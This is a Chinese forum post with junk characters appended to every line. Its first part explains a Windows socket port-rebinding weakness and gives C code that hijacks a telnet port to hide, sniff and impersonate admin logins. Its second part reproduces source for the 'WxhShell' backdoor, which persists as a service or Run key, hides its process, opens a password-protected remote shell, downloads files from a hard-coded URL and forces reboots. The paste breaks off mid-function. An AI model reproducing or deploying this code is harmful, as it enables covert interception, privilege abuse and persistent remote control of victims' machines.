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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WjvD C"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qddP-uN  
9% AL f 9  
  saddr.sin_family = AF_INET; m8njP-CZ  
W]DZ'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fF} NPl  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5x; y{qT  
N>4uqFo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vd'd@T  
edD"jq)J  
  这意味着什么?意味着可以进行如下的攻击: _<1uO=km6  
o]|a5. O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^gD%#3>X  
5KFd/9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f,}]h~w\  
wH Q$F(by  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e(m#elX  
/|2#s%|-=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zg83->[  
pg'3j3JW$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \;Ywr3  
ONw;NaE,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jPf*qe>U  
fUg I*V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4#BoS9d2I<  
)R`w{V  
  #include < l%3P6|  
  #include x0!5z1KQh  
  #include ;Y>cegG\  
  #include    $!_]mz6*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   , 1{)B  
  int main() (S[" ak  
  { jTJ]: EN  
  WORD wVersionRequested; T7{Z0-  
  DWORD ret; .<C}/Cl  
  WSADATA wsaData; *n=NBkq%/!  
  BOOL val; xW;-=Q  
  SOCKADDR_IN saddr; GKNH{|B$D  
  SOCKADDR_IN scaddr; 2So7fZa^wg  
  int err; U ExK|t  
  SOCKET s; yEe4{j$  
  SOCKET sc; UldG0+1d  
  int caddsize; s]=s|  
  HANDLE mt; ;h"?h*}m!\  
  DWORD tid;   1wpeYn7>W  
  wVersionRequested = MAKEWORD( 2, 2 ); duKR;5:  
  err = WSAStartup( wVersionRequested, &wsaData ); jWd 7>1R?  
  if ( err != 0 ) { L27i_4E,  
  printf("error!WSAStartup failed!\n"); 007SA6xq  
  return -1; HV??B :  
  } )MKzAAt~  
  saddr.sin_family = AF_INET; ;hOrLy&O  
   \=yx~c_$L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \HB4ikl  
;O2r+n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /M-%]sayj  
  saddr.sin_port = htons(23); Jyx6{O j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) / ` 7p'i  
  { ,afh]#  
  printf("error!socket failed!\n"); yH8 N8  
  return -1; 8h#/b1\  
  } qxsK-8KT<  
  val = TRUE; Jk)^6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $#dPM*E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q=5#t~?  
  { +FWkhmTv  
  printf("error!setsockopt failed!\n"); 4 }l,F  
  return -1; r2T-=XWB  
  } i[~oMwc&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mk;l;!*T8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zhDmZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `V@{#+X  
u$N2uFc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VR>;{>~  
  { fL8+J]6A6  
  ret=GetLastError(); p*rBT,'  
  printf("error!bind failed!\n"); uhFj|r$$  
  return -1; AWP CJmr  
  } N.|Zh+!  
  listen(s,2); @L8('8~d  
  while(1) vnXa4\Vdy  
  { PX3rHKK {  
  caddsize = sizeof(scaddr); K YFumR  
  //接受连接请求 *sqq]uD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h'x|yy]@3  
  if(sc!=INVALID_SOCKET) &WIiw$@  
  { \k1psqw^O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J(0.eD91v  
  if(mt==NULL) h$p]#]uMb  
  { H[guJ)4#@  
  printf("Thread Creat Failed!\n"); i6zfr|`@  
  break; e`#c[lbAAM  
  } Y?2I /  
  } M`ETH8Su=  
  CloseHandle(mt); nBGFa  
  } bmotR8d  
  closesocket(s); AlNiqnZ  
  WSACleanup(); _yyQ^M/  
  return 0; Gw*n,*pz  
  }   :0.Z/s -  
  DWORD WINAPI ClientThread(LPVOID lpParam) adh=Kp e!w  
  { /a\6&Eb  
  SOCKET ss = (SOCKET)lpParam; yAoJ?<4^W  
  SOCKET sc; :luVsQ  
  unsigned char buf[4096]; h5&l#>8&  
  SOCKADDR_IN saddr; NamBJ\2E1[  
  long num; 8oG0tX3i  
  DWORD val; 0l6z!@GhT  
  DWORD ret; -DrR6kGjR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x-k}RI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?5nF` [rx  
  saddr.sin_family = AF_INET; e%&2tf4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }u&.n pc  
  saddr.sin_port = htons(23); /i$ mIj`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^zHBDRsb2F  
  { 15_OtK  
  printf("error!socket failed!\n"); _PrK6M@"L  
  return -1; nZa.3/7dJ  
  } z!5^UD8"W  
  val = 100; (b Q1,y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @kUCc1LT  
  { u=feR0|8  
  ret = GetLastError(); M-u:8dPu  
  return -1; W6D|Rr.q  
  } _*1/4^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w{Wz^=';  
  {  /E/J<  
  ret = GetLastError(); a&~d,vC  
  return -1; T9\wkb.  
  } \X5{>nNh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @@7<L  
  { TmG$Cjf84  
  printf("error!socket connect failed!\n"); ua*k{0[  
  closesocket(sc); AoL4#.r3H  
  closesocket(ss); o&1ewE(O]  
  return -1; '$W@I  
  } s)#FqB8  
  while(1) Qwb=N  
  { *D1 ^Se  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mc;Z#"kf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 - *!R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y~An'+yBa  
  num = recv(ss,buf,4096,0); 9D:p~_"g  
  if(num>0) }<o.VY&;.  
  send(sc,buf,num,0); [k.|iCD  
  else if(num==0) ;sCf2TD,_  
  break; \5 IB/ *  
  num = recv(sc,buf,4096,0); Yjv}@i"  
  if(num>0) )y(pd  
  send(ss,buf,num,0); zlZ$t{[,  
  else if(num==0) quHq?oXV,  
  break; 5BCXI8Ox9x  
  } hex:e2x  
  closesocket(ss); W[[3'JTF  
  closesocket(sc); D)XF@z;  
  return 0 ; V*rAZ0  
  } 1u7Kc'.xc  
"qUUH4mR`  
y^tuybpZY<  
========================================================== Qx|m{1~-  
<Yu}7klJE  
下边附上一个代码,,WXhSHELL x):cirwkl  
";yCo0*  
========================================================== Io*`hA]  
4bqi&h3  
#include "stdafx.h" H#x=eDU|k  
\Q<c Y<  
#include <stdio.h> I.TdYSB  
#include <string.h> Y;d$x}dh  
#include <windows.h> 7A?~a_Ep  
#include <winsock2.h> 1GKd*z  
#include <winsvc.h> u HqPb8  
#include <urlmon.h> cS/\&%7u  
MZ o\1tU-i  
#pragma comment (lib, "Ws2_32.lib") z=B*s!G  
#pragma comment (lib, "urlmon.lib") Mfe/(tlI  
Ehu^_HZ  
#define MAX_USER   100 // 最大客户端连接数 PjNOeI@G  
#define BUF_SOCK   200 // sock buffer 9F)+p7VJq  
#define KEY_BUFF   255 // 输入 buffer n#Xi Co_\  
/) Bk r/  
#define REBOOT     0   // 重启 -jdS8n4  
#define SHUTDOWN   1   // 关机 ra=U,  
.'JO7of  
#define DEF_PORT   5000 // 监听端口 _Q,`Qn@|BD  
fqA\Rp6Z  
#define REG_LEN     16   // 注册表键长度 j'FSd*5m  
#define SVC_LEN     80   // NT服务名长度 ;rYL\`6L  
1=gE ,k5H  
// 从dll定义API <7R\ #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V  @8+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3maiBAOKz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UXwnE@`F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mH2XwA|  
Tt #4dm-  
// wxhshell配置信息 0>Iy`>]  
struct WSCFG { G vMhgG=D  
  int ws_port;         // 监听端口 F7lhLly  
  char ws_passstr[REG_LEN]; // 口令 SYd4 3P A  
  int ws_autoins;       // 安装标记, 1=yes 0=no "s[wLclfG  
  char ws_regname[REG_LEN]; // 注册表键名 8)HUo?/3  
  char ws_svcname[REG_LEN]; // 服务名 UZ7Zzc#g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L#mf[a@pCn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HZC^Q7]hy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~``oKiPg@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +U{8Mj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;"46H'>!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Y* d ' >  
N|-M|1w96  
}; n4,b?-E>(  
LdnHz#  
// default Wxhshell configuration =]jc{Y%o  
struct WSCFG wscfg={DEF_PORT, 2#LTd{  
    "xuhuanlingzhe", Y!s94#OaZ  
    1, jWk1FQte  
    "Wxhshell", =vJ:R[Ilw  
    "Wxhshell",  #v+ 2W  
            "WxhShell Service", N\{Xhr7d  
    "Wrsky Windows CmdShell Service",  @v &hr  
    "Please Input Your Password: ", OP0KK^#  
  1, ci*rem  
  "http://www.wrsky.com/wxhshell.exe", y(/"DUx  
  "Wxhshell.exe" Kab"r_'  
    }; 6D3hX>K4  
@=JOAo  
// 消息定义模块 0N.B =j|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oS3'q\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1) 7n (  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BUB$k7{z  
char *msg_ws_ext="\n\rExit."; # 4UKkd  
char *msg_ws_end="\n\rQuit."; mU@pRjq=  
char *msg_ws_boot="\n\rReboot..."; UW%zR5q  
char *msg_ws_poff="\n\rShutdown..."; 1;8=,&  
char *msg_ws_down="\n\rSave to "; tN P>6F/  
+l'l*<  
char *msg_ws_err="\n\rErr!"; ]S!:p>R  
char *msg_ws_ok="\n\rOK!"; M ,!Dhuas  
7L3:d7=MIW  
char ExeFile[MAX_PATH]; [`pp[J-~7  
int nUser = 0; sZ,xbfZby  
HANDLE handles[MAX_USER]; 8Ld{Xg  
int OsIsNt; SQ&nQzL  
<&JK5$l<X  
SERVICE_STATUS       serviceStatus; \cJ?2^Eq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sd[%$)scC  
tNpBRk(}  
// 函数声明 {jdtNtw  
int Install(void); pY@$N&+W  
int Uninstall(void); ?RW7TWf  
int DownloadFile(char *sURL, SOCKET wsh); A#NJ8_  
int Boot(int flag); _mSDz=!Z3  
void HideProc(void); n!Hj4~T0  
int GetOsVer(void); M~'4>h}  
int Wxhshell(SOCKET wsl); s4V-brCM$|  
void TalkWithClient(void *cs); yC#%fgQ r  
int CmdShell(SOCKET sock); DzZEn]+zt  
int StartFromService(void); uBpnfIe  
int StartWxhshell(LPSTR lpCmdLine); @ ;T|`Y=7  
b0X<)1O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b;Nm$`2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U-^qVlw  
 vVvx g0  
// 数据结构和表定义 _{Z!$q6,  
SERVICE_TABLE_ENTRY DispatchTable[] = `Xs3^FJt  
{ a ]~Rp  
{wscfg.ws_svcname, NTServiceMain}, ]'IZbx:  
{NULL, NULL} bsCl w  
}; 287g 5  
*LuR <V  
// 自我安装 Uk1|y\  
int Install(void) v@,n]"  
{ H){}28dX  
  char svExeFile[MAX_PATH]; #BPJRNXd  
  HKEY key; eR1SPS1+  
  strcpy(svExeFile,ExeFile); ,s ` y  
Z%&$_-yJ  
// 如果是win9x系统,修改注册表设为自启动 "Y'MuV'x  
if(!OsIsNt) { 5;v_?M!UCK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Yp:{e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .4CCR[Het  
  RegCloseKey(key); ,gO}H)v]t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TEJn;D<1I,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2uSXC*Phz  
  RegCloseKey(key); c/Dk*.xy<  
  return 0; ,5*Z<[*  
    } ) wZ;}O  
  } L<D<3g|4  
} 8NF93tqD6  
else { p]jkfsCjN  
SI)QX\is8  
// 如果是NT以上系统,安装为系统服务 }>93X0%r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4 H<.  
if (schSCManager!=0) R!)3{cjU@  
{ nu(;yIRP  
  SC_HANDLE schService = CreateService Ppton+?(  
  ( mV>l`&K=  
  schSCManager, ()}(3>O-  
  wscfg.ws_svcname, '@0Z#A  
  wscfg.ws_svcdisp, isBtJ7\Sc  
  SERVICE_ALL_ACCESS, Bm>>-nG;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rtSG- _[i  
  SERVICE_AUTO_START, d/&W[jJ  
  SERVICE_ERROR_NORMAL, a^vTBJXo  
  svExeFile, iY,Ffu E  
  NULL, APgjT' ;P^  
  NULL, NZb}n`:  
  NULL, T0;8koj^_  
  NULL, %~e+H|  
  NULL )k^y<lC2a  
  ); '^|u\$&U  
  if (schService!=0)  g)Tr#  
  { <(Rbu2_  
  CloseServiceHandle(schService); :~^_*:  
  CloseServiceHandle(schSCManager); vZiuElxKi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); | V: 9 ][\  
  strcat(svExeFile,wscfg.ws_svcname); :kMF.9U:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W(jOD,QMB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ikd1KF+I  
  RegCloseKey(key); 1a gNwFd~  
  return 0; )5[OG7/g  
    } c 80Ffq  
  } mOC<a7#  
  CloseServiceHandle(schSCManager); (-D^_*f  
} F$sDmk#  
} [%c5MQ?H  
_|Uv7>}J^  
return 1; ?S<`*O +  
} MvKr~  
=vs]Kmm  
// 自我卸载 56?RFnZ&j  
int Uninstall(void) %f?Z/Wn  
{ U-*`I?~=4  
  HKEY key; eKUP,y;[I  
~tc,p  
if(!OsIsNt) { !AXt6z cZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/&JArW  
  RegDeleteValue(key,wscfg.ws_regname); ]*Cq'<h$  
  RegCloseKey(key); '" 4;;(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rRvZG&k  
  RegDeleteValue(key,wscfg.ws_regname); `Sx1?@8(  
  RegCloseKey(key); =OeLF  
  return 0;  ;?G..,  
  } /:;"rnvq  
} $5wf{iZY.Q  
} OQ&'3hv{  
else { <nk9IAH  
cC*H.N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^]NFr*'!  
if (schSCManager!=0) Bwc_N.w?3  
{ _Rb>py  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O?`_RN4l  
  if (schService!=0) KG=57=[  
  { 1EMud,,:  
  if(DeleteService(schService)!=0) { K`0'2  
  CloseServiceHandle(schService); ES)@iM?5  
  CloseServiceHandle(schSCManager); ]7{ e~U  
  return 0; bo-L|R&O  
  } n_{az{~  
  CloseServiceHandle(schService);  y 2C Jk~  
  } K=Z.<f  
  CloseServiceHandle(schSCManager); t2(vtxrt  
} "-Yj~  
} z5J$".O`  
(nwp s  
return 1; jdIAN  
} iN9G`qF3!Q  
gtnu/ Q  
// 从指定url下载文件 (DkfLadB  
int DownloadFile(char *sURL, SOCKET wsh) hkB|rhJgm  
{ `^HK-t4q  
  HRESULT hr; ]1 jhy2j  
char seps[]= "/"; \4KV9wm  
char *token; mndKUI}d  
char *file; CB0p2WS_  
char myURL[MAX_PATH]; 8shx7"  
char myFILE[MAX_PATH]; aH dQi,=z  
[pC2#_}  
strcpy(myURL,sURL); W2&(:C8V@  
  token=strtok(myURL,seps); \30rF]F`l  
  while(token!=NULL) N/zP!%L  
  { jp7cPpk:LG  
    file=token; NRT@"3,1YP  
  token=strtok(NULL,seps); z?@N+||,.  
  } Nt|Fw$3*5{  
*\Lr]6k  
GetCurrentDirectory(MAX_PATH,myFILE); OtbPr F5  
strcat(myFILE, "\\"); ?vfZ>7Q  
strcat(myFILE, file); Am|)\/K+Z  
  send(wsh,myFILE,strlen(myFILE),0); <1#hX(Q  
send(wsh,"...",3,0); 81H9d6hqcD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S%j W} v';  
  if(hr==S_OK) / E!N:g<  
return 0; 7h.fT`  
else J@OK"%12  
return 1; D\| U_>  
[$c"}=g[+  
} &`,Y/Cbw  
6rWb2b  
// 系统电源模块 ME66BWg{  
int Boot(int flag) ";;!c.!^  
{ of {K{(M7@  
  HANDLE hToken; pL . 0_  
  TOKEN_PRIVILEGES tkp; !X9^ L^v}  
^zW=s$\Fo  
  if(OsIsNt) { =Qf{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?G<ISiABQC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sDY+J(Z  
    tkp.PrivilegeCount = 1; 4Y{;%;-i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [C\B2iU7_M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g;Zy3   
if(flag==REBOOT) { kA> e*6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lD{*Z spz  
  return 0; f40OVT@g  
} 9o4h~Imu  
else { 1xr2x;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (I#mo2  
  return 0; BT`g'#O  
} os7xwI;T  
  } cTq;<9Iew  
  else { 3~{0X-  
if(flag==REBOOT) { DJ9x?SL@KD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A+j!VM   
  return 0; B>4/[ YHr;  
} o7 0] F  
else { * F_KOf9p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "jLC!h^N  
  return 0; :G#+ 5 }  
} cvQAo|  
} i{16&4 '  
+* j8[sz  
return 1; LIrebz  
} a`[9<AM1#  
h?H|)a<^9  
// win9x进程隐藏模块 ^^lx Ot  
void HideProc(void) :[CEHRc7x  
{ mlPvF%Ba  
! >V)x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); , 6Jw   
  if ( hKernel != NULL ) 'tDUPm38  
  { _''un3eCY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /\;m/cwrl"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MMUlA$*t  
    FreeLibrary(hKernel); l|{[vZpT  
  } nW} s  
xQ2: tY#?  
return; CB X}_]9X  
} 1 +Ue m  
!!ma]pB,  
// 获取操作系统版本 *H i}FI  
int GetOsVer(void)  Bnk '  
{ >t<\zC|~w  
  OSVERSIONINFO winfo; r6R@"1/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c-v-U O%  
  GetVersionEx(&winfo); RehraY3q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B=$O4nW_b  
  return 1; }dHdy{$  
  else MTN*{ug2:  
  return 0; HOF=qE*p  
} =LODX29  
I!Z"X&  
// 客户端句柄模块 ^}{x).  
int Wxhshell(SOCKET wsl) #@xB ?u-0q  
{ G%, RD}D  
  SOCKET wsh; z [ 'G"yCi  
  struct sockaddr_in client; ZzjCS2U  
  DWORD myID; 2wDDVUwyB  
+ ~5P7dh6  
  while(nUser<MAX_USER) n I&p.i6  
{ OScqf]H  
  int nSize=sizeof(client); s2GF*{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (KwC,0p  
  if(wsh==INVALID_SOCKET) return 1; =Xg/[J%  
0:>hK\F#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X:I2wJDs\  
if(handles[nUser]==0)  jr_z ?  
  closesocket(wsh); f0j]!g  
else "*.N'J\  
  nUser++; GmaNi  
  } lG Bg8/[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #9Jr?K43  
n>R(e>  
  return 0; O`@- b#  
} =<#G~8WYz  
U4^c{KWS  
// 关闭 socket tXH;4K@  
void CloseIt(SOCKET wsh) lixM0  
{ cJv/)hRaz  
closesocket(wsh); ]@b9m  
nUser--; -B9e&J {K  
ExitThread(0); RRB=JP{r  
} G}^=(,jl  
dS3\P5D.*c  
// 客户端请求句柄 1+WVh7gF  
void TalkWithClient(void *cs) i>]PW|]  
{ 5 7t.Ud  
1kw*Q:   
  SOCKET wsh=(SOCKET)cs; )dqNN tS  
  char pwd[SVC_LEN]; mJ=V <_  
  char cmd[KEY_BUFF]; \wk;Bo  
char chr[1]; @fJsRWvGq  
int i,j; CoNaGb  
zSQy  
  while (nUser < MAX_USER) { ]K*R[  
QnD8L.Dg  
if(wscfg.ws_passstr) { _@!vF,Wcf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Cv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |bnYHP$!  
  //ZeroMemory(pwd,KEY_BUFF); T'vI@i9  
      i=0; c9fz x  
  while(i<SVC_LEN) { [A/2 Ms  
RJzIzv99m  
  // 设置超时 kHylg{i{"  
  fd_set FdRead; #IZh}*$  
  struct timeval TimeOut; r A(A$VR  
  FD_ZERO(&FdRead); "mQcc }8  
  FD_SET(wsh,&FdRead); "n` z`{<n  
  TimeOut.tv_sec=8; }O>1tauI  
  TimeOut.tv_usec=0; j&_>_*.y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rU&Y/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NytTyk)  
8K?}!$fz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ThgJ '  
  pwd=chr[0]; *bf 5A9  
  if(chr[0]==0xd || chr[0]==0xa) {  <{Y3}Q  
  pwd=0; NRJp8G Z%U  
  break; DE?k|Get2  
  } Qd kus 214  
  i++; #gO[di0WhC  
    } c/A?-9  
05T?c{ ;  
  // 如果是非法用户,关闭 socket wCg7JW#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $%MgIy  
} 2O Ur">_  
R|M]mwa^w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n}IGxum8`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xZ P SUEG  
qb=2J5su  
while(1) { IRx% L?  
5(J?C-Pk  
  ZeroMemory(cmd,KEY_BUFF); 7;AK=;  
&d2L9kTk  
      // 自动支持客户端 telnet标准   .Iqqjk  
  j=0; 2SC-c `9)  
  while(j<KEY_BUFF) { /X.zt `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [;Lgbgt3f  
  cmd[j]=chr[0]; go AV+V7  
  if(chr[0]==0xa || chr[0]==0xd) { 4~h 0/H"  
  cmd[j]=0; tm.60udbo  
  break; {{Ox%Zm  
  } mu{C>w_Rz  
  j++; (~N?kh:  
    } {c9 f v H  
#J&3Zds  
  // 下载文件 5tpC$4m  
  if(strstr(cmd,"http://")) { 2I_ yUt-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'hU5]}=  
  if(DownloadFile(cmd,wsh)) )~=8Ssu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'ctO%  
  else 2K};-}eW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <hCO-r#  
  } zY:3*DiM  
  else { f;BY%$  
D1ZyJs#  
    switch(cmd[0]) { }i"[5:  
  $Bz};@  
  // 帮助 XH~(=^/_  
  case '?': {  4bA^Gq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7:?\1 a  
    break; T^|k`  
  } AaA!U!B  
  // 安装 {24>&<p  
  case 'i': { }W}(k2r  
    if(Install()) l$\2|D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v:4j 3J$z  
    else ; >H1A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CYy=f-  
    break; Z3{1`"\<K  
    } I*.nwV<  
  // 卸载 :Q("  
  case 'r': { Ue 9Y+'-x  
    if(Uninstall()) E|c(#P{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1k4\zVgi  
    else %_5#2a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B;(U ?gC  
    break; 1Y$%| `  
    } ,Kj>F2{  
  // 显示 wxhshell 所在路径 a)pc+w#  
  case 'p': { mbkt7. ,P  
    char svExeFile[MAX_PATH]; aq_K,li #w  
    strcpy(svExeFile,"\n\r"); }p*|8$#x"  
      strcat(svExeFile,ExeFile); x6R M)rr  
        send(wsh,svExeFile,strlen(svExeFile),0); E8r6P:5d`  
    break; N Nk  
    } "NA<^2W@J  
  // 重启 JK< []>O  
  case 'b': { jdJTOT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ !su7  
    if(Boot(REBOOT)) k*N!U[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !38KHq^|&  
    else { vO2WZ7E!  
    closesocket(wsh); H%Gz"  
    ExitThread(0); Qf^c}!I  
    } /g+-{+sx  
    break; U$gR}8\e  
    } o|h=M/  
  // 关机 o FP8s[B  
  case 'd': { 85G-`T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (+(@P*c1  
    if(Boot(SHUTDOWN)) ?ld&}|W~  
